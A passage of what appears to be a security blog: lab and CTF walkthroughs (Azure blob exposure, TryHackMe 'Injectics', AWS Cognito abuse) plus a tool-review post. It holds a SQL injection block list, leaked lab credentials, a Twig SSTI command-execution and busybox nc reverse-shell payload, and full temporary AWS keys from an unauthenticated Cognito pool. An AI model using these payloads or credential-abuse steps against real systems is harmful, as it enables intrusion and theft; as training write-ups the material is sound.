# Disable and move stale computer accounts to the "Review" OU
Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase "DC=$domain" -Properties LastLogonTimeStamp -Credential $credential |
  ForEach-Object {
    $computerName = $_.Name
    $computerDistinguishedName = $_.DistinguishedName

    # Disable the computer account
    Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential

    # Move the computer account to the "Review" OU
    Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential
    
    Write-Host "Disabled and moved computer account: $computerName"
  }

We have launched PowerShell on our Kali instance and installed the required modules. We then run the entra_users.ps1 script to see if we have valid credentials, and we get the following:

─PS> ./entra_users.ps1
WARNING: Authentication with a username and password at the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For additional information, visit https://go.microsoft.com/fwlink/?linkid=2276971.
WARNING: You may need to login again after updating "EnableLoginByWam".

WARNING: Upcoming breaking changes in the cmdlet 'Get-AzAccessToken' :
The Token property of the output type will be changed from String to SecureString. Add the [-AsSecureString] switch to avoid the impact of this upcoming breaking change.
- The change is expected to take effect in Az version : '13.0.0'
- The change is expected to take effect in Az.Accounts version : '4.0.0'
Note : Go to https://aka.ms/azps-changewarnings for steps to suppress this breaking change warning, and other information on breaking changes in Azure PowerShell.
WARNING: Resulting JSON is truncated as serialization has exceeded the set depth of 2.
Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users",
  "value": [
    {
      "businessPhones": "",
      "displayName": "Akari Fukimo",
      "givenName": "Akari",
      "jobTitle": "Cloud engineer",
      "mail": null,
      "mobilePhone": null,
      "officeLocation": null,
      "preferredLanguage": null,
      "surname": "Fukimo",
      "userPrincipalName": "Akari.Fukimo@megabigtech.com",
      "id": "f99e0d7f-3e0f-41ce-8fcb-cf7ac49995d1"
    },
    {
      "businessPhones": "",
      "displayName": "Akira Suzuki",
      "givenName": null,
      "jobTitle": null,
      "mail": null,
      "mobilePhone": null,
      "officeLocation": null,
      "preferredLanguage": null,
      "surname": null,
      "userPrincipalName": "Akira.Suzuki@megabigtech.com",
      "id": "4e96be22-f417-49b5-9f98-b74f8258c8ae"
    },
< --- snip --- >

We have been able to retrieve the flag by running the command get-azaduser -signedin | fl

Defense

There were a number of issues that enabled such a compromise with the first and most obvious being that the entire blob containers was world-readable by anonymous users when only the website content should have been configured to be publicly accessible. The other was that sensitive files were still there from a previous version. These should not have been there in the first instance, and should have manually been deleted using the command Remove-AzStorageBlob -Container '$web' -Blob scripts-transfer.zip -VersionId "2024-03-29T20:55:40.8265593Z"

The most critical of all of these was of course the hard coding of credentials in the scripts. Credentials should have been stored in a PAM system, password manager or using a service such as Azure Key Vault.

Walkthrough - THM Injectics

Fri, 02 Aug 2024 15:15:58 +0800

This walkthrough is related to the medium level box from Try Hack Me called Injectics which is designed to test your injection skills to take control of a web app. Let’s get started!

We start with first identifying what are the open ports and we use rustscan which shows us that we have two ports open, being 22 and 80

❯ rustscan -a 10.10.80.9
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.80.9:22
Open 10.10.80.9:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-29 12:30 PST
Initiating Ping Scan at 12:30
Scanning 10.10.80.9 [2 ports]
Completed Ping Scan at 12:30, 0.24s elapsed (1 total hosts)
Initiating Connect Scan at 12:30
Scanning injectics.thm (10.10.80.9) [2 ports]
Discovered open port 80/tcp on 10.10.80.9
Discovered open port 22/tcp on 10.10.80.9
Completed Connect Scan at 12:30, 0.24s elapsed (2 total ports)
Nmap scan report for injectics.thm (10.10.80.9)
Host is up, received syn-ack (0.24s latency).
Scanned at 2024-07-29 12:30:15 PST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

As a secondary check and to also check UDP, I also run masscan with the command sudo masscan -p1-65535,U:1-65535 -e tun0 --rate=10000 10.10.80.9 but this turns up no additional information.

The following is the output from nmap

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:83:df:a9:d5:55:b3:31:ea:34:98:fb:f5:e0:22:9a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqPOQZSovnh3pxFRHXa6RkX7gai5WmUWjASorkjIczAcjN4nm/uO5v7pAliGQIwDWYVwxT5N/ljOrxSwRRGeP0USGCOfMIPdAOEBZ1Qo+CALtu5AO28j3LML7vS0Cot58vUa+tdcSojvDC3HOXQHZ/L4LL6/+qfwCWs6vJgKCrAicaZUsCCAELcGPC7BrO/8EqNmDLrJMzHCzYN7S40aECasUWkw+c9Xa34JgwP06cAX1D5KS5ZYQltZGdwWE/3gd/Yteu18Bi74RPg8q7wQ8MdAhBgwR2iQJHf/0O/r9AZt71MibcG4d7aEy0mssIHuntFAoNGt4GMIpQWKNxK5O6SScbefHFgcwtRJ16z1zG9V5oVIHJPPbj8HQO3U9l4d1VeSA/J3EPX61xqTYD7LJBIM698DRqQZhXccKH+q5wCGlPCceY8YHaYcpK5uWUawR4iSJ5leOAFnvxvC+I563YJaQelCoUxZlnpNX2buwX5GmyVPEW3L6a6Go0lx0LCrk=
|   256 49:73:7a:ea:1b:9c:b5:61:77:a5:db:43:93:4e:d5:de (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9ggiz/fFMOQH2aDEzUrmxXBEf/jqnFu1jyklngh8uVFFA5Vj53VlOMTRwNq1LixIsmZRqLg/y/ppPVD1F1xts=
|   256 9a:2b:f2:75:e1:9c:0c:92:40:ec:f7:ce:2e:64:ae:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBoG1H7HSYQ8p47ySJzNSmaVlbryoxclUvDR3su3CAhD


80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Injectics Leaderboard
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - HTTP

We will focus on Port 80 as the most logical attack vector at this point in time and we will kick off some automated scans before manually inspecting the site.

Directory Fuzzing (non-recursive)

❯ feroxbuster -u http://injectics.thm -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://injectics.thm
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      161l      368w     5401c http://injectics.thm/login.php
200      GET        6l      263w    18362c http://injectics.thm/js/popper.min.js
200      GET        7l      683w    60044c http://injectics.thm/js/bootstrap.min.js
200      GET        2l     1062w    72380c http://injectics.thm/js/slim.min.js
301      GET        9l       28w      319c http://injectics.thm/javascript => http://injectics.thm/javascript/
301      GET        9l       28w      312c http://injectics.thm/css => http://injectics.thm/css/
301      GET        9l       28w      311c http://injectics.thm/js => http://injectics.thm/js/
301      GET        9l       28w      319c http://injectics.thm/phpmyadmin => http://injectics.thm/phpmyadmin/
200      GET        7l     2103w   160302c http://injectics.thm/css/bootstrap.min.css
200      GET      206l      428w     6588c http://injectics.thm/
301      GET        9l       28w      314c http://injectics.thm/flags => http://injectics.thm/flags/
301      GET        9l       28w      315c http://injectics.thm/vendor => http://injectics.thm/vendor/
[####################] - 3m     30013/30013   0s      found:12      errors:0
[####################] - 3m     30000/30000   198/s   http://injectics.thm/

In addition to running FeroxBuster, I also run dirsearch which has some good default settings just for additional validation

❯ dirsearch -u http://injectics.thm
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/n3ph0s/Hacking/Machines/THM/Injectics/reports/http_injectics.thm/_24-08-02_11-38-06.txt

Target: http://injectics.thm/

[11:38:06] Starting:
[11:38:19] 301 -  311B  - /js  ->  http://injectics.thm/js/
[11:38:22] 403 -  278B  - /.ht_wsr.txt
[11:38:22] 403 -  278B  - /.htaccess.bak1
[11:38:22] 403 -  278B  - /.htaccess.orig
[11:38:22] 403 -  278B  - /.htaccess.sample
[11:38:22] 403 -  278B  - /.htaccess.save
[11:38:22] 403 -  278B  - /.htaccess_extra
[11:38:22] 403 -  278B  - /.htaccess_orig
[11:38:22] 403 -  278B  - /.htaccess_sc
[11:38:22] 403 -  278B  - /.htaccessBAK
[11:38:22] 403 -  278B  - /.htaccessOLD
[11:38:22] 403 -  278B  - /.htaccessOLD2
[11:38:22] 403 -  278B  - /.htm
[11:38:22] 403 -  278B  - /.html
[11:38:22] 403 -  278B  - /.httr-oauth
[11:38:22] 403 -  278B  - /.htpasswd_test
[11:38:22] 403 -  278B  - /.htpasswds
[11:38:25] 403 -  278B  - /.php
[11:39:07] 200 -   48B  - /composer.json
[11:39:07] 200 -    9KB - /composer.lock
[11:39:10] 301 -  312B  - /css  ->  http://injectics.thm/css/
[11:39:11] 302 -    0B  - /dashboard.php  ->  dashboard.php
[11:39:20] 301 -  314B  - /flags  ->  http://injectics.thm/flags/
[11:39:28] 301 -  319B  - /javascript  ->  http://injectics.thm/javascript/
[11:39:29] 403 -  278B  - /js/
[11:39:32] 200 -    1KB - /login.php
[11:39:33] 302 -    0B  - /logout.php  ->  index.php
[11:39:34] 200 -    1KB - /mail.log
[11:39:45] 301 -  319B  - /phpmyadmin  ->  http://injectics.thm/phpmyadmin/
[11:39:47] 200 -    3KB - /phpmyadmin/doc/html/index.html
[11:39:49] 200 -    3KB - /phpmyadmin/
[11:39:49] 200 -    3KB - /phpmyadmin/index.php
[11:39:56] 403 -  278B  - /server-status
[11:39:56] 403 -  278B  - /server-status/
[11:40:11] 403 -  278B  - /vendor/
[11:40:11] 200 -    0B  - /vendor/composer/autoload_classmap.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_files.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_real.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_psr4.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_static.php
[11:40:11] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[11:40:11] 200 -    0B  - /vendor/composer/ClassLoader.php
[11:40:11] 200 -   12KB - /vendor/composer/installed.json
[11:40:11] 200 -    0B  - /vendor/autoload.php
[11:40:11] 200 -    1KB - /vendor/composer/LICENSE

Task Completed

Sub-Domain Fuzzing

❯ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://injectics.thm -H 'Host: FUZZ.injectics.thm' -fs 6588

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://injectics.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.injectics.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 6588
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:34] :: Errors: 0 ::

Manual Inspection

We launch caido so that we can intercept traffic to inspect later and then we open the browser and we are presented with the following default landing page

We look at the source code and we find a name and email address and also a note that mails are stored in a log file.

You will recall that we also saw mail.log in the earlier scans and when we look at that file, we can see that this has username and passwords that will be set if the users table is deleted or corrupted. We now know that there is a database behind it and that if we can get access and drop the table, we have the required access.

❯ curl http://injectics.thm/mail.log
From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays

Hey,

Before heading off on holidays, I wanted to update you on the latest changes to the website. I have implemented several enhancements and enabled a special service called Injectics. This service continuously monitors the database to ensure it remains in a stable state.

To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

| Email                     | Password                |
|---------------------------|-------------------------|
| superadmin@injectics.thm  | superSecurePasswd101    |
| dev@injectics.thm         | devPasswd123            |

Please let me know if there are any further updates or changes needed.

Best regards,
Dev Team

dev@injectics.thm

The other file that we found earlier was composer.json which indicates that they are running Twig which could also indicate that there is an SSTI that we could exploit

❯ curl http://injectics.thm/composer.json
{
  "require": {
    "twig/twig": "2.14.0"
  }
}%

We then navigate to the login page and we are then presented with the following.

When we enter something generic, we can see that there is a parameter called functions.php and we get the response back in JSON

If we look at the source code of the page it calls script.js which if we look into calls the functions.php which has a list of invalid keywords for the username value.

$("#login-form").on("submit", function(e) {
    e.preventDefault();
    var username = $("#email").val();
    var password = $("#pwd").val();

	const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
            for (let keyword of invalidKeywords) {
                if (username.includes(keyword)) {
                    alert('Invalid keywords detected');
                   return false;
                }
            }

    $.ajax({
        url: 'functions.php',
        type: 'POST',
        data: {
            username: username,
            password: password,
            function: "login"
        },
        dataType: 'json',
        success: function(data) {
            if (data.status == "success") {
                if (data.auth_type == 0){
                    window.location = 'dashboard.php';
                }else{
                    window.location = 'dashboard.php';
                }
            } else {
                $("#messagess").html('' + data.message + '
');
            }
        }
    });
});

We have a high probability that there is a SQL Injection so we intercept a request and pass it to Automate using Caido and we are able to bypass this.

We now have the ability to be able to edit the rankings

We will click on edit and make a change and based on the request, can be reasonably confident that this updates a database.

You will recall that we found the mail.log that provided credentials in the event that the users table was either deleted or corrupted so let’s see if we are able to do that.

Looks like the table has been dropped :)

We go to the admin login page and are able to login with the admin credentials found earlier and we have found the first flag

If you recall we identified that Twig was being used and this means that it potentially could allow SSTI and from looking at the page, one possible area is the “Welcome, admin!” which is being reflected on the page. Based on this we can see that this would come from the Profile page, so we will have a look at this.

The easiest way to test for this is to inject {{7*7}} and see if this is evaluated.

We can this that this has been evaluated and we get the results on the home page and we will now use this to get a reverse shell

After some trial and error we have been able to get command execution using {{['id','']|sort('passthru')}} and we can of course get the flag this way which we have done, but that is not as much fun as getting a shell.

Getting a Shell

We have set up our listener and we have gotten a shell with the payload {{['busybox nc 10.11.79.78 9001 -e bash','']|sort('passthru')}}

❯ nc -nlvp 9001
listening on [any] 9001 ...

connect to [10.11.79.78] from (UNKNOWN) [10.10.24.141] 55766
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We upgrade our shell and we have Pwned this machine!

Annual Review and Streamlining Toolset for Optimal Efficiency

Thu, 25 Jul 2024 14:18:18 +0800

For those of us in the world of technology, or dependent on it for your jobs, our tools are our lifeline. They help us code, organize and manage our daily tasks. Over time, it is easy for our toolsets to become cluttered, unnecessary or even heavily bloated so that they no longer serve their purpose.

Every year, I take some time to refresh my system build and workflows to ensure that my setup is optimized to streamline work and reduce friction.

The Importance of Reviewing your Tools

Conducting an annual review of your tools is more than just a routine task, it’s a crucial practice for maintaining an efficient and productive workflow. As technology evolves and our needs shift, it’s vital to reassess the tools we use. Unused or outdated tools can create unnecessary friction, slow down our work, and even lead to frustration.

In my recent review, I examined all the tools and configurations I use. The goal was to eliminate redundancies, streamline workflows, and ensure that every tool and configuration serves a clear purpose. This process is not just about cleaning up but also about aligning our tools with our current needs and goals.

Changing Linux Distributions

I have been using Debian based distributions for a few years and whilst I have been very happy with them, I had been evaluating Arch Linux for a while and a few months ago, I decided to switch and make this my daily driver and have been very happy. This isn’t about boasting “I Use Arch, BTW”; the main reason is its minimal installation approach, where you install only the packages you need. It’s a rolling release with the latest packages and the AUR (Arch User Repository).

Transition from I3WM to QTile

I have been very satisfied with I3 and am still a strong supporter of it. However, I found a few areas where it was lacking, which led me to move to QTile. The primary reason for this transition if my proficiency in Python. Since QTile is Python based, I can customize it to meet my specific requirements more effectively.

VIM Configuration

I have been using VIM for many years and my configurations have ranged from very basic to overly complex. I decided to use kickstart.nvim a small, single file and well documented configuration. By spending a few hours configuring this, I know have a VIM setup that works exactly how I want, with the necessary plugins, mappings and settings that are aligned with my workflow.

Key Takeaways

Regular Reviews Are Crucial: An annual review of your tools ensures that you’re not carrying unnecessary baggage. It helps you stay current with technology and align your tools with your evolving needs.
Eliminate Redundancies: Remove tools and configurations that are no longer useful. This reduces clutter and helps streamline your workflow.
Embrace Change: Don’t be afraid to switch tools or reconfigure your setup if it means improving efficiency. The transition might require some effort, but the benefits often outweigh the initial investment.
Customize for Efficiency: Tailor your tools and configurations to fit your specific needs. Customization can lead to significant improvements in productivity and satisfaction.

While this may seem unnecessary to some, I have found that by regularly reviewing the tools that I use and refining my workflow as needed allows me to maintain a frictionless environment that enables me to be as effective as possible.

Pwned Labs - Abuse Cognito User and Identity Pools

Thu, 25 Jul 2024 11:38:40 +0800

Pwned Labs - Abuse Cognito User and Identity Pools

Scenario

During a routine external security sweep of Huge Logistics, your team stumbled upon a public git repository. It wasn’t just any repository; it contained the entire source code for their new Android application. It might just be the entry point you need to access the company’s broader cloud environment. The challenge now is to sift through the application’s intricacies, identify potential vulnerabilities, and see if these breadcrumbs lead deeper into Huge Logistics’ digital realm. The perimeter is your starting line; how far can you go?

Learning Outcomes

Exploit permissive settings in Amazon Cognito User and Identity Pools
Be able to identify vulnerabilities from reviewing source code
Exploit a Lambda function
Understand how this exploit chain could have been prevented

Real World Context

Misconfigurations or permissive settings in AWS Cognito User and Identity pools can allow access to resources that should not be accessed, and can result in malicious actors being able to move laterally and vertically within a cloud environment. Research conducted in 2019 by Andrés Riancho identified 2500 Cognito identity pools, which were used to gain access to more than 13000 S3 buckets (which are not publicly exposed), 1200 DynamoDB tables and 1500 Lambda functions.

Overview

Amazon Cognito allows developers to focus on the app experience instead of worrying about building, securing, and scaling a solution to handle user management, authentication, and sync across devices.

The client authenticates against a user pool.
The User Pool assigns three JSON Web Tokens (JWT) to the (Id, Access, and Refresh)
The Id JWT is passed to the identity pool and a role is chosen via the JWT claims. The user then receives temporary IAM credentials with privileges that are based on the IAM role that was mapped to the group that user belongs to.
The user can then make calls to AWS resources based on their privileges.

Attack

Identity Pools

This attack starts based on leaked source code as follows and we can see that it references an AWS Identity Pool and also an S3 Bucket

// Include necessary import statements
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;

import com.amazonaws.auth.AWSCredentialsProvider;
import com.amazonaws.auth.CognitoCachingCredentialsProvider;
import com.amazonaws.regions.Regions;
import com.amazonaws.services.lambda.AWSLambdaClient;
import com.amazonaws.services.lambda.model.InvokeRequest;
import com.amazonaws.services.lambda.model.InvokeResult;
import com.amazonaws.services.s3.AmazonS3Client;
import com.bumptech.glide.Glide;

import java.nio.charset.StandardCharsets;

public class MainActivity extends Activity {

    private static final String IDENTITY_POOL_ID = "us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367";
    private static final String BUCKET_NAME = "hl-app-images";
    private static final String IMAGE_KEY = "hl.png";

    private AWSCredentialsProvider credentialsProvider;
    private AWSLambdaClient awsLambdaClient;
    private AmazonS3Client s3Client;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        ImageView logoImageView = findViewById(R.id.logoImageView);
        TextView statusTextView = findViewById(R.id.statusTextView);
        EditText trackingNumberEditText = findViewById(R.id.trackingNumberEditText);
        Button checkStatusButton = findViewById(R.id.checkStatusButton);

        credentialsProvider = new CognitoCachingCredentialsProvider(
                getApplicationContext(),
                IDENTITY_POOL_ID,
                Regions.US_EAST_1
        );

        s3Client = new AmazonS3Client(credentialsProvider);

        // Load logo from S3 using Glide
        Glide.with(this)
                .load(s3Client.getUrl(BUCKET_NAME, IMAGE_KEY))
                .into(logoImageView);

        // Lambda client for invoking Lambda function
        awsLambdaClient = new AWSLambdaClient(credentialsProvider);

        checkStatusButton.setOnClickListener(view -> {
            String trackingNumber = trackingNumberEditText.getText().toString();
            if (!trackingNumber.isEmpty()) {
                try {
                    InvokeRequest invokeRequest = new InvokeRequest()
                            .withFunctionName("Tracking")
                            .withPayload("\"" + trackingNumber + "\"");
                    InvokeResult invokeResult = awsLambdaClient.invoke(invokeRequest);

                    // Use the result returned by the Lambda function as package status
                    String result = new String(invokeResult.getPayload().array(), StandardCharsets.UTF_8);
                    statusTextView.setText(result);
                } catch (Exception e) {
                    Log.e("MainActivity", "Error occurred while invoking Lambda function.", e);
                    Toast.makeText(this, "Error occurred while checking status.", Toast.LENGTH_SHORT).show();
                }
            } else {
                Toast.makeText(this, "Please enter a tracking number.", Toast.LENGTH_SHORT).show();
            }
        });
    }
}

Amazon Cognito can be configured to support unauthenticated identities and issues them with short-lived credentials for users that don’t authenticate with an identity provider as long as the requester has a valid unique identity ID.

We will use our personal AWS account to get an Identity ID using the Identity Pool ID

❯ aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367 --no-sign --region us-east-1
{
    "IdentityId": "us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0"
}

With a valid Identity ID we shall now see if we can get credentials

❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0 --region us-east-1
{
    "IdentityId": "us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0",
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRF4TYQIJUW",
        "SecretKey": "omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb",
        "SessionToken": "IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXxoiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg=",
        "Expiration": "2024-07-24T17:19:05+08:00"
    }
}

We shall load these credentials using aws configure and then aws configure set aws_session_token and check that they are valid and functioning correctly

❯ aws --profile cognito configure
AWS Access Key ID [None]: ASIAWHEOTHRF4TYQIJUW
AWS Secret Access Key [None]: omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile cognito configure set aws_session_token "IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXx